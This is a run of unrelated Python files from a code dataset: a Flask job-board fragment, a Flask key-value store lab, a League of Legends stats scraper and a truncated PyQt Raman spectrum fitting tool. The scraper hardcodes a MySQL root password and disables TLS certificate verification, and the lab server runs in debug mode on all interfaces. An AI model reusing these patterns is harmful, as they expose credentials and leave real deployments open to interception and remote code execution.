Jobs SET title = %(title)s, location = %(location)s WHERE job_id = %(session)s\"\n    data = { \"title\" : request.form[\"title\"],\n    \"description\": request.form[\"description\"],\n    \"location\": request.form[\"location\"],\n    \"session\": session[\"job_id\"]}\n    query_result = mysql.query_db(query,data)\n    print(\"+++\"*30)\n    print(query_result)\n    return redirect(\"/dashboard\")\n\n@app.route('/submitnew', methods=[\"POST\"])\ndef submitnew():\n    \n    print(\"Inside newInside submitnewInside submitnewInside submitnewInside submitnew\")\n    print(\"printing request.form:\")\n    print (request.form)\n    is_valid = True\n    print(\"Inside submitnewsubmitnew submit new\")\n    print(request.form)\n    print()\n    if request.form['location']== \"\" or request.form['title'] == \"\" or request.form[\"description\"]==\"\":\n        flash(\"Please enter a value for location\")\n        is_valid = False\n    if len(request.form['title']) < 4 or len(request.form['description']) < 4 or len(request.form['location'])<4:\n        flash(\"Please enter a longer title or description or location\")\n        is_valid = False\n    if is_valid == False:\n        return redirect(\"/newjob\")\n    \n    mysql = connectToMySQL(\"EXAM\")\n    query = \"INSERT INTO Jobs VALUES (NULL, %(title)s, %(location)s, NOW(), NOW(), %(users_id)s)\"\n    data = {\n        \"title\": request.form['title'],\n        \"location\": request.form['location'],\n        \"users_id\": session['id']\n    }\n    returned_value = mysql.query_db(query,data)\n    # query = \"INSERT into Jobs VALUES  \"\n    # # # put the pw_hash in our data dictionary, NOT the password the user provided\n    # print(\"%%\"*20, session['id'])\n    # saved_session = session['id']\n    # data = { \"user_id\" : saved_session}\n    return redirect(\"/dashboard\")\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n", "repo_name": "archanagottipaty/JAVA", "sub_path": "Documents/python_stack/flask/flask_mysql/EXAM/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 10020, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 9, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 15, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 34, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 34, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 36, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 37, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 37, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 40, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 40, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 42, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 43, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 43, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 45, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 46, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 46, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 48, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 49, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 49, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 54, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 57, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 58, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 58, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 61, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 64, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 66, "usage_type": "call"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 75, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 75, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 76, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 76, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 77, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 77, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 78, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 78, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 82, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 83, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 83, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 85, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 86, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 111, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 111, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 112, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 114, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 114, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 115, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 117, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 117, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 122, "usage_type": "call"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 137, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 140, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 140, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 147, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 148, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 150, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 153, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 157, "usage_type": "name"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 158, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 161, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 162, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 167, "usage_type": "call"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 171, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 174, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 178, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 185, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 189, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 192, "usage_type": "call"}, {"api_name": "flask.session.clear", "line_number": 197, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 197, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 199, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 205, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 211, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 211, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 212, "usage_type": "call"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 218, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 220, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 220, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 221, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 221, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 222, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 222, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 223, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 227, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 234, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 234, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 237, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 237, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 239, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 239, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 240, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 242, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 242, "usage_type": "name"}, {"api_name": "flask.flash", "line_number": 243, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 246, "usage_type": "call"}, {"api_name": "mysqlconnection.connectToMySQL", "line_number": 248, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 251, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 251, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 252, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 252, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 253, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 261, "usage_type": "call"}]}
{"seq_id": "17722991583", "text": "from flask import Flask, request  # 从flask引入Flask和request模组\r\nfrom flask_cors import CORS\r\n\r\napp = Flask(__name__)\r\nCORS(app)\r\nDictA = {}          #DictA用于储存key-value pairs\r\n\r\n@app.route('/', methods=['GET'])\r\ndef root1():\r\n    return 'ok'  # 发送response body 为 ok\r\n\r\n# 将webserver执行，监听任意来源ip，port开在3000，开启debug模式\r\n# debug模式代表，每次档案更新后，webserver会自动重启，不需要手动重启\r\n\r\n\"\"\"本题没有用to_dict()来转成python dict格式，而是先设一个空字典DictA，用由于key-value pair本身是str形式，配合if-else判断元素就可直接加进去DictA\"\"\"\r\n\r\n@app.route('/set', methods=['POST'])  # 路由/set:负责加入新key-value pair，同时判断key-value pair是否存在\r\ndef root2():\r\n    KeyIn = request.form.get(\"key\")  # 用get()函数获取html页面中名为key所带的数据\r\n    ValueIn = request.form.get(\"value\")  # 同上\r\n    if KeyIn in DictA:  # 判断key-value pair是否存在\r\n        return \"key exist\"\r\n    else:\r\n        DictA[KeyIn] = ValueIn  # 把不存在DictA的key-value pair存进来\r\n        return \"set success\"\r\n\r\n\r\n@app.route('/key_list', methods=['GET'])  # 路由/key_list:负责回传所有已知keys\r\ndef root3():\r\n    ListKey=[]              # ListKey用于储存所有keys，以便操作\r\n    for i in DictA.keys():  # 用forloop把DictA的每一个key加入ListKey\r\n        if i in ListKey:\r\n          continue\r\n        else:\r\n          ListKey.append(i)\r\n    return str(ListKey)     # 回传ListKey\r\n\r\n\r\n@app.route('/get_value/', methods=['GET']) # 路由/get_value/:负责回传指定key的value\r\ndef root4(key):\r\n    KeyFound = key              #设变量储存html里key所表示的数据\r\n    if KeyFound in DictA:       #判断KeryFound是否在DictA里，若在则回传值\r\n        ValueFound = DictA[KeyFound]\r\n        return ValueFound\r\n    elif KeyFound not in DictA:\r\n        return \"key not found\"\r\n\r\n\r\n@app.route('/update_value', methods=['POST'])# 路由/update_value:负责update指定key的value\r\ndef root5():\r\n    KeyUpdate = request.form.get(\"key\")     #用变量储存输入在网页端key和value的值\r\n    ValueUpdate = request.form.get(\"value\")\r\n    if KeyUpdate in DictA:                  #判断KeyUpdate是否在DictA里，若在则更新其value\r\n        DictA[KeyUpdate] = ValueUpdate\r\n        return \"update success\"\r\n    else:\r\n        return \"key does not exist\"\r\n\r\n\r\n@app.route('/delete/', methods=['GET'])# 路由/delete/:负责delete指定key\r\ndef root6(key):\r\n    KeyDelete = key             #和前几个API类似，设变数储存html端的key\r\n    if KeyDelete in DictA:      #判断KeyDelete是否在DictA里，若在则delete它\r\n        del DictA[KeyDelete]\r\n        return \"delete success\"\r\n    elif KeyDelete not in DictA:\r\n        return \"key not found\"\r\n\r\n\r\napp.run(host=\"0.0.0.0\", port=3000, debug=True)  #设定运行IP和PORT，且自动debug", "repo_name": "Chingyong0905/introduction_to_computers_labs", "sub_path": "lab10/lab10.py", "file_name": "lab10.py", "file_ext": "py", "file_size_in_byte": 2966, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 4, "usage_type": "call"}, {"api_name": "flask_cors.CORS", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 19, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 51, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 51, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 52, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}]}
{"seq_id": "5682365879", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 30 13:22:48 2019\n\n@author: markn\n\"\"\"\n\n\nimport urllib\nimport ssl\nfrom bs4 import BeautifulSoup\nimport mysql\nimport mysql.connector\n\nconnection = mysql.connector.connect(host='localhost', database='fantasylol', user='root', password='Marknazzaro13245')\n\ncursor = connection.cursor()\n\nclass Temp_Player(object):\n    \n    def __init__ (self, name_lower):\n        self.name_lower = name_lower\n        self.kills = 0\n        self.deaths = 0\n        self.assists = 0\n        self.csm = 0.0\n        self.dpm = 0.0\n        self.wpm = 0.0\n        self.games = 0\n        self.csm_total = 0.0\n        self.dpm_total = 0.0\n        self.wpm_total = 0.0\n        \n    def add_stats (self, kills, deaths, assists, csm, dpm, wpm):\n        self.games += 1\n        self.kills += kills\n        self.deaths += deaths\n        self.assists += assists\n        self.csm_total += csm\n        self.dpm_total += dpm\n        self.wpm_total += wpm\n        self.csm = self.csm_total / self.games\n        self.dpm = self.dpm_total / self.games\n        self.wpm = self.wpm_total / self.games\n        \n    def get_stats (self):\n        return (str(self.kills), str(self.deaths), str(self.assists), str(self.csm), str(self.dpm), str(self.wpm), self.name_lower)\n    \n    def __str__ (self):\n        return self.name_lower\n        \n\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nplayers = []\n\n\n\nfor q in range(16555, 16565):\n\n    url = \"https://gol.gg/game/stats/\" + str(q) + \"/page-summary/\"\n    \n    url2 = urllib.request.urlopen(url, context=ctx)\n    \n    soup = BeautifulSoup(url2, \"html.parser\")\n    \n    things = soup.find_all(\"td\")\n    \n    #print (things)\n    \n    filtered = []\n    final = []\n            \n    for thing in things:\n        filtered.append(thing.text)\n        final = filtered[28:len(filtered)]\n        \n    for i in range(len(final)):\n        if i % 5 == 0:\n            player = list(filter(lambda x: x.name_lower == final[i].lower(), players))\n            if not len(player) == 0:\n                kda_stats = final[i + 1].split(\"/\")\n                player[0].add_stats(int(kda_stats[0]), int(kda_stats[1]), int(kda_stats[2].split(\" \")[0]), float(final[i + 2]), float(final[i + 3]), float(final[i + 4]))\n            else:\n                kda_stats = final[i + 1].split(\"/\")\n                temp = Temp_Player(final[i].lower())\n                temp.add_stats(int(kda_stats[0]), int(kda_stats[1]), int(kda_stats[2].split(\" \")[0]), float(final[i + 2]), float(final[i + 3]), float(final[i + 4]))\n                players.append(temp)\n                \n\nfor i in players:\n    cursor.execute(\"UPDATE pros SET kills=%s, deaths=%s, assists=%s, csm=%s, dpm=%s, wpm=%s WHERE name_lower=%s\", i.get_stats())\n\nconnection.commit()\nprint (\"FINAL\\n\")\nprint (final)\n    \n", "repo_name": "mnazzaro/FantasyLoLServer", "sub_path": "GameScraper.py", "file_name": "GameScraper.py", "file_ext": "py", "file_size_in_byte": 2835, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "mysql.connector.connect", "line_number": 15, "usage_type": "call"}, {"api_name": "mysql.connector", "line_number": 15, "usage_type": "attribute"}, {"api_name": "ssl.create_default_context", "line_number": 53, "usage_type": "call"}, {"api_name": "ssl.CERT_NONE", "line_number": 55, "usage_type": "attribute"}, {"api_name": "urllib.request.urlopen", "line_number": 65, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 65, "usage_type": "attribute"}, {"api_name": "bs4.BeautifulSoup", "line_number": 67, "usage_type": "call"}]}
{"seq_id": "40798505510", "text": "from __future__ import division\nimport matplotlib\nmatplotlib.use('Qt5Agg')\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nfrom PyQt5.QtCore import Qt\nimport pyqtgraph as pg\nimport pyqtgraph.exporters\nimport pandas as pd\nimport numpy as np\nfrom scipy.optimize import curve_fit\nfrom scipy.sparse import vstack\n#from scipy.misc import toimage\nfrom scipy.interpolate import griddata\nfrom PIL.ImageQt import ImageQt\nfrom multiprocessing import Pool\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas\nfrom matplotlib.figure import Figure\nimport matplotlib.pyplot as plt\n#import qimage2ndarray\nimport tempfile\nimport shutil\nimport subprocess, os\nimport zipfile\nfrom zipfile import ZipFile\nimport json\nfrom util.icons import Icon\nimport sys\n\nIMPORT_LOCATION = \"/apps/importfile/bin/importfile\"\n\nPART_BUTTON = \"part button\"\nFILM_BUTTON = \"film button\"\n\nfilelist=[]\n\npg.setConfigOption('background', 'w')\npg.setConfigOption('foreground', 'k')\npg.mkPen('k')\n\nQW=QtWidgets\nQC=QtCore\nQG=QtGui\n\nclass Main(QW.QMainWindow):\n    \"\"\"\n    Main window containing the widget. Adds menu bar / tool bar functionality.\n    \"\"\"\n    def __init__(self,mode='local', repo_dir = '', *args,**kwargs):\n        super(Main,self).__init__(*args,**kwargs)\n\n        self.mode = mode\n        self.repo_dir = repo_dir\n        self.mainWidget = NDRaman(mode=mode)\n        self.setCentralWidget(self.mainWidget)\n\n        # building main menu\n        mainMenu = self.menuBar()\n        mainMenu.setNativeMenuBar(False)\n\n        importAction = QG.QAction(\"&Import\",self)\n        importAction.setIcon(Icon('download.svg'))\n        importAction.triggered.connect(self.mainWidget.openFileName)\n\n        # exportAction = QG.QAction(\"&Export\",self)\n        # exportAction.setIcon(Icon('upload.svg'))\n        # exportAction.triggered.connect(self.mainWidget.exportTrigger)\n\n        # clearAction = QG.QAction(\"&Clear\",self)\n        # clearAction.setIcon(Icon('trash.svg'))\n        # clearAction.triggered.connect(lambda _: self.mainWidget.clear())\n\n        exitAction = QG.QAction(\"&Exit\",self)\n        exitAction.setIcon(Icon('log-out.svg'))\n        exitAction.triggered.connect(self.close)\n        \n        fileMenu = mainMenu.addMenu('&File')\n        fileMenu.addAction(importAction)\n        # fileMenu.addAction(exportAction)\n        # fileMenu.addAction(clearAction)\n        if mode == 'local':\n            fileMenu.addAction(exitAction)\n\n        aboutAction = QG.QAction(\"&About\",self)\n        aboutAction.setIcon(Icon('info.svg'))\n        aboutAction.triggered.connect(self.showAboutDialog)\n\n        testImageAction = QG.QAction(\"&Import Test Spectrum\",self)\n        testImageAction.setIcon(Icon('image.svg'))\n        testImageAction.triggered.connect(self.importTestSpectrum)\n\n        helpMenu = mainMenu.addMenu('&Help')\n        helpMenu.addAction(testImageAction)\n        helpMenu.addAction(aboutAction)\n\n        self.show()\n\n    def showAboutDialog(self):\n        about_dialog = QW.QMessageBox(self)\n        about_dialog.setText(\"About This Tool\")\n        about_dialog.setWindowModality(QC.Qt.WindowModal)\n        copyright_path = os.path.join(self.repo_dir,'COPYRIGHT')\n        print(f\"okay:{copyright_path}\")\n        if os.path.isfile(copyright_path):\n            with open(copyright_path,'r') as f:\n                copyright = f.read()\n                print(f\"hey:{copyright}\")\n        else:\n            copyright = \"\"\n\n        version_path =  os.path.join(self.repo_dir,'VERSION')\n        if os.path.isfile(version_path):\n            with open(os.path.join(self.repo_dir,'VERSION'),'r') as f:\n                version = f.read()\n        else:\n            version = \"\"\n\n        about_text = \"Version: %s \\n\\n\"%version\n        about_text += copyright\n\n        about_dialog.setInformativeText(about_text)\n        about_dialog.exec()\n\n    def importTestSpectrum(self):\n        path = os.path.join(self.repo_dir,'data','raw','test_spec.txt')\n        filelist.append(path)\n        self.mainWidget.filmfitbut.setEnabled(True)\n        self.mainWidget.partfitbut.setEnabled(True)\n\nclass NDRaman(QtWidgets.QWidget):\n    def __init__(self, mode='local',parent=None):\n        super(NDRaman,self).__init__(parent=parent)\n        self.singleSpect=SingleSpect()\n        self.resize(1440,600)\n        self.spect_type=''\n        self.data=[]\n        self.mode=mode\n\n        self.layout=QtWidgets.QGridLayout(self)\n        self.layout.setAlignment(QtCore.Qt.AlignTop)\n\n        self.displayWidget=QtWidgets.QStackedWidget()\n        self.displayWidget.addWidget(self.singleSpect)\n        self.layout.addWidget(self.displayWidget,2,0,1,3)\n\n        self.flbut=QtWidgets.QPushButton('Upload File')\n        self.flbut.setToolTip(\"Please upload a .txt or .csv file\")\n        self.flbut.clicked.connect(self.openFileName)\n        self.flbut.setMinimumSize(220,50)\n        self.layout.addWidget(self.flbut,0,0)\n\n        self.partfitbut=QtWidgets.QPushButton('Do Particle Fitting')\n        self.partfitbut.clicked.connect(lambda: self.doFitting(PART_BUTTON))\n        self.partfitbut.setCheckable(True)\n        self.partfitbut.setEnabled(False)\n        self.partfitbut.setMinimumSize(220,50)\n        self.layout.addWidget(self.partfitbut,0,1)\n    \n        self.filmfitbut=QtWidgets.QPushButton('Do Film Fitting')\n        self.filmfitbut.clicked.connect(lambda: self.doFitting(FILM_BUTTON))\n        self.filmfitbut.setCheckable(True)\n        self.filmfitbut.setEnabled(False)\n        self.filmfitbut.setMinimumSize(220,50)\n        self.layout.addWidget(self.filmfitbut,1,1)\n\n        self.download_but=QtWidgets.QPushButton('Download Data')\n        self.download_but.clicked.connect(self.downloadData)\n        self.download_but.setFixedSize(500,50)\n        self.download_but.setEnabled(False)\n        self.download_list=[]\n\n        self.statusBar=QtWidgets.QProgressBar()\n        self.statusBar.setMinimumHeight(50)\n        self.layout.addWidget(self.statusBar,0,2)\n\n        self.errmsg=QtWidgets.QMessageBox()\n        self.downloadMsg=QtWidgets.QMessageBox()\n        self.cnfmdnld=False\n\n        self.pathmade=False\n\n    def openFileName(self):\n        if self.mode == 'local':\n            try:\n                fpath = QtGui.QFileDialog.getOpenFileName()\n                if isinstance(fpath,tuple):\n                   fpath = fpath[0]\n            except Exception as e:\n                print(e)\n        elif self.mode == 'nanohub':\n            try:\n                fpath = subprocess.check_output(IMPORT_LOCATION,shell=True).strip().decode(\"utf-8\")\n            except Exception as e:\n                print(e)\n\n        filelist.append(fpath)\n        if filelist[-1]!=u'':\n            if filelist[-1][-3:]!='txt' and filelist[-1][-3:]!='csv':\n                self.errmsg.setIcon(QtWidgets.QMessageBox.Critical)\n                self.errmsg.setText('Please upload a .txt or .csv')\n                self.errmsg.exec_()\n\n                del filelist[-1]\n            else:\n                self.partfitbut.setEnabled(True)\n                self.filmfitbut.setEnabled(True)\n        else:\n            del filelist[-1]\n\n        self.f_list=filelist\n\n    def checkFileType(self, flnm):\n        if flnm[-3:]=='csv':\n            self.data=pd.read_csv(flnm)\n        else:\n            self.data=pd.read_table(flnm)\n\n        cols=self.data.shape[1]\n        rows=self.data.shape[0]\n        if cols == 1:\n            self.data=pd.DataFrame(self.data.iloc[0:rows/2,0],self.data.iloc[rows/2:rows,0])\n            self.spect_type='single'\n        elif cols == 2:\n            self.spect_type='single'\n            if type(self.data.iloc[0,0]) is str:\n                self.data=self.data.iloc[1:rows,:]\n            else:\n                self.data=self.data\n        else:\n            self.spect_type='map'\n            self.errmsg.setIcon(QtWidgets.QMessageBox.Critical)\n            self.errmsg.setText('Please upload a single spectrum')\n            self.errmsg.exec_()\n\n    def doFitting(self, button):\n        if not self.pathmade:\n                self.make_temp_dir()\n        map_i=1\n        sing_i=1\n        for flnm in filelist:\n            self.checkFileType(flnm)\n            if self.spect_type=='single':\n\n                self.newpath=str(self.dirpath)+'/SingleSpect'+str(sing_i)\n                if not os.path.exists(self.newpath):\n                    os.makedirs(self.newpath)\n                    sing_i+=1\n                shutil.copy2(flnm,self.newpath)\n\n                self.widget=self.singleSpect\n                self.displayWidget.setCurrentWidget(self.widget)\n\n                x=np.array(self.data.iloc[:,0])\n                y=np.array(self.data.iloc[:,1])\n\n                self.widget.plotSpect(x,y, button)\n                self.filmfitbut.setEnabled(False)\n                self.partfitbut.setEnabled(False)\n                self.download_but.setEnabled(True)\n            # else:\n\n            #     throw error message\n    def make_temp_dir(self):\n        self.dirpath = tempfile.mkdtemp()\n        self.pathmade=True\n\n    def downloadData(self):\n        self.downloadMsg.setIcon(QtWidgets.QMessageBox.Question)\n        self.downloadMsg.setWindowTitle('Confirm Download')\n        self.downloadMsg.setText('The Raman spectrum(s) following files will be downloaded:\\n'+'\\n'.join('{}'.format(item[0]) for item in self.f_list))\n        self.downloadMsg.setStandardButtons(QtWidgets.QMessageBox.Ok | QtWidgets.QMessageBox.Cancel)\n        # self.downloadMsg.buttonClicked.connect(self.msgbtn)\n        self.downloadMsg.exec_()\n\n\nclass SingleSpect(QtWidgets.QWidget): \n    def __init__(self, parent=None):\n        super(SingleSpect,self).__init__(parent=parent)\n        self.layout=QtWidgets.QGridLayout(self)\n        self.layout.setAlignment(QtCore.Qt.AlignTop)\n\n    def Single_Lorentz(self, x,a,w,b):\n        return a*(((w/2)**2)/(((x-b)**2)+((w/2)**2)))\n\n    def backgroundFit(self,x,y):\n        I_raw=y\n        W=x\n\n        polyx=np.array([W[0],W[int(len(W)/2)],W[len(W)-1]])\n        polyy=np.array([I_raw[0],I_raw[int(len(W)/2)],I_raw[len(W)-1]])        \n        bkgfit=np.polyfit(polyx,polyy,2)\n        bkgpoly=(bkgfit[0]*W**2)+(bkgfit[1]*W)+bkgfit[2]\n        I_raw=I_raw-bkgpoly\n    \n        m=(I_raw[len(W)-1]-I_raw[0])/(W[len(W)-1]-W[0])\n        b=I_raw[len(W)-1]-m*W[len(W)-1]\n        bkglin=m*W+b\n    \n        I_raw=I_raw-bkglin\n    \n        I=((I_raw-np.min(I_raw))/np.max(I_raw-np.min(I_raw)));\n        return I\n\n    def fitToPlot(self,x,y, button):\n        I=self.backgroundFit(x,y)\n        pG=[0.5*np.max(I), 65, 1602] #a w b\n        pDiam=[np.max(I), 6, 1332]\n        pD=[0.7*np.max(I),65,1347]\n        \n        #fit Diamond peak\n        Diam_param,Diam_cov=curve_fit(self.Single_Lorentz,x,y,bounds=([0.3*np.max(I),0,1300],[1*np.max(I),10,1340]), p0=pDiam)\n        Diam_fit=self.Single_Lorentz(x,Diam_param[0],Diam_param[1],Diam_param[2])\n\n        #fit G peak\n        G_param,G_cov=curve_fit(self.Single_Lorentz,x,y,bounds=([.3*np.max(I),30,1500],[1*np.max(I),70,1800]),p0=pG)\n        G_fit=self.Single_Lorentz(x,G_param[0],G_param[1],G_param[2])\n\n\n        #fit D peak\n        D_param,D_cov=curve_fit(self.Single_Lorentz,x,y,bounds=([.3*np.max(I),40,1340],[1*np.max(I),80,1470]),p0=pD)\n        D_fit=self.Single_Lorentz(x,D_param[0],D_param[1],D_param[2])\n\n        param_dict={'G':{'a':G_param[0],'w':G_param[1],'b':G_param[2]},'Diam_param':{'a':Diam_param[0],'w':Diam_param[1],'b':Diam_param[2]},'D':{'a':D_param[0],'w':D_param[1],'b':D_param[2]}}\n\n        y_fit=Diam_fit+G_fit+D_fit \n        \n\n        self.fit_plot=pg.plot(x,y_fit,pen='k')\n        self.fit_plot.setMenuEnabled(False)\n        self.fit_plot.setRange(yRange=[0,1])\n        self.fit_plot.setLabel('left','Inorm[arb]')\n        self.fit_plot.setLabel('bottom',u'\\u03c9'+'[cm-1]')\n        self.fit_plot.win.hide()\n\n        self.overlay_plot=pg.plot()\n        self.overlay_plot.addLegend(offset=(-1,1))\n        self.overlay_plot.plot(x,y,pen='g',name='Raw Data')\n        self.overlay_plot.plot(x,y_fit,pen='r',name='Fitted Data')\n        self.overlay_plot.setMenuEnabled(False)\n        self.overlay_plot.setLabel('left','Inorm[arb]')\n        self.overlay_plot.setLabel('bottom',u'\\u03c9'+'[cm-1]')\n        self.overlay_plot.win.hide()\n        exporter2=pg.exporters.ImageExporter(self.overlay_plot.plotItem)\n        exporter2.params.param('width').setValue(1024, blockSignal=exporter2.widthChanged)\n        exporter2.params.param('height').setValue(860, blockSignal=exporter2.heightChanged)\n        if button == PART_BUTTON:\n            self.fitting_params=QtWidgets.QLabel(\n            \"\"\"Fitting Parameters:\n                Diamond Peak:\n                    \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(Diam_param[0],4))+\"\"\"\n                    \"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(Diam_param[1],4))+\"\"\"\n                    \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(Diam_param[2],4))+\"\"\"\n                G Peak:\n                    \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(G_param[0],4))+\"\"\"\n                    \"\"\"u'\\u0393'\"\"\"=\"\"\"+str(round(G_param[1],4))+\"\"\"\n                    \"\"\"u'\\u03c9'\"\"\"=\"\"\"+str(round(G_param[2],4))+\"\"\"\n                D Peak:\n                    \"\"\"u'\\u03b1'\"\"\"=\"\"\"+str(round(D_param[0],4))+\"\"\"\n                    